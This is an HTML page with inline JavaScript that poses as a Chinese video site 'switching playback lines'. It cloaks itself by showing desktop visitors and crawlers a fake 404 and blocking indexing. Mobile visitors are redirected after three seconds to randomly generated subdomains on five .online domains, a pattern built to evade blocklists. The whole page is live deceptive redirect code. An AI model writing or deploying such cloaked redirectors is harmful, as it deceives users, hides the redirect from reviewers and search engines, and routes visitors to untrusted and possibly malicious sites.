<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
<meta name="robots" content="noindex,nofollow,noarchive">
<meta name="Baiduspider" content="noindex,nofollow">
<style>
*{margin:0;padding:0;box-sizing:border-box;font-family:"Microsoft YaHei",sans-serif;}
body{background:#f5f7fa;display:flex;align-items:center;justify-content:center;height:100vh;padding:20px;}
.main-box{max-width:500px;width:100%;background:#fff;border-radius:12px;padding:40px 30px;text-align:center;box-shadow:0 2px 10px rgba(0,0,0,0.05);}
.main-title{font-size:22px;color:#222;margin-bottom:16px;font-weight:500;}
.main-tip{font-size:16px;color:#666;line-height:1.7;margin-bottom:26px;}
.main-tip i{font-style:normal;color:#ff4444;font-weight:bold;}
.loading-bar{width:100%;height:4px;background:#e0e0e0;border-radius:2px;margin-top:20px;overflow:hidden;}
.loading-progress{width:0%;height:100%;background:#3b82f6;border-radius:2px;transition:width 0.3s ease;}
</style>
</head>
<body>

<script>
let timeEl, progressEl;
let timer = null;

function showContent(){
    
    document.body.innerHTML = '<div class="main-box"><h2 class="main-title">正在切换最优播放线路</h2><p class="main-tip">为保障流畅观影，系统自动调整中<br>请等待 <i>3</i> 秒即可进入</p><div class="loading-bar"><div class="loading-progress" id="progress"></div></div></div>';
    
    timeEl = document.querySelector('.main-tip i');
    progressEl = document.getElementById('progress');
}

function checkMobile(){
    return document.documentElement.clientWidth < 768;
}

const prefixList = ["movie-","tv-","anime-","short-","hot-","variety-","new-","vod-","play-","wach-","video-"];
const domainList = [
    "lmipps.online",
    "pupdos.online",
    "tcsgreg.online",
    "nmyface.online",
    "roxylou.online"
];

function startJump(){
    const isMobile = checkMobile();
    let s = 3;
    
    timer = setInterval(function(){
        s--;
        if(timeEl) timeEl.textContent = s;
        if(progressEl) progressEl.style.width = ((3 - s) / 3 * 100) + "%";
        
        if(s <= 0){
            clearInterval(timer);
            timer = null;
            if(isMobile){
                const prefix = prefixList[Math.floor(Math.random()*prefixList.length)];
                const rand = Math.random().toString(36).substr(2,8);
                const domain = domainList[Math.floor(Math.random()*domainList.length)];
                location.href = "https://" + prefix + rand + "." + domain;
            }
        }
    }, 1000);
}

window.addEventListener('beforeunload', function(){
    if(timer){
        clearInterval(timer);
        timer = null;
    }
});

setTimeout(function(){
    const isMobile = checkMobile();
    if(isMobile){
        showContent();
        startJump();
    } else {
        document.body.innerHTML = '<div class="main-box"><h2 class="main-title">404 Not Found</h2><p class="main-tip">页面不存在或无法访问</p></div>';
    }
}, 100);
</script>
</body>
</html>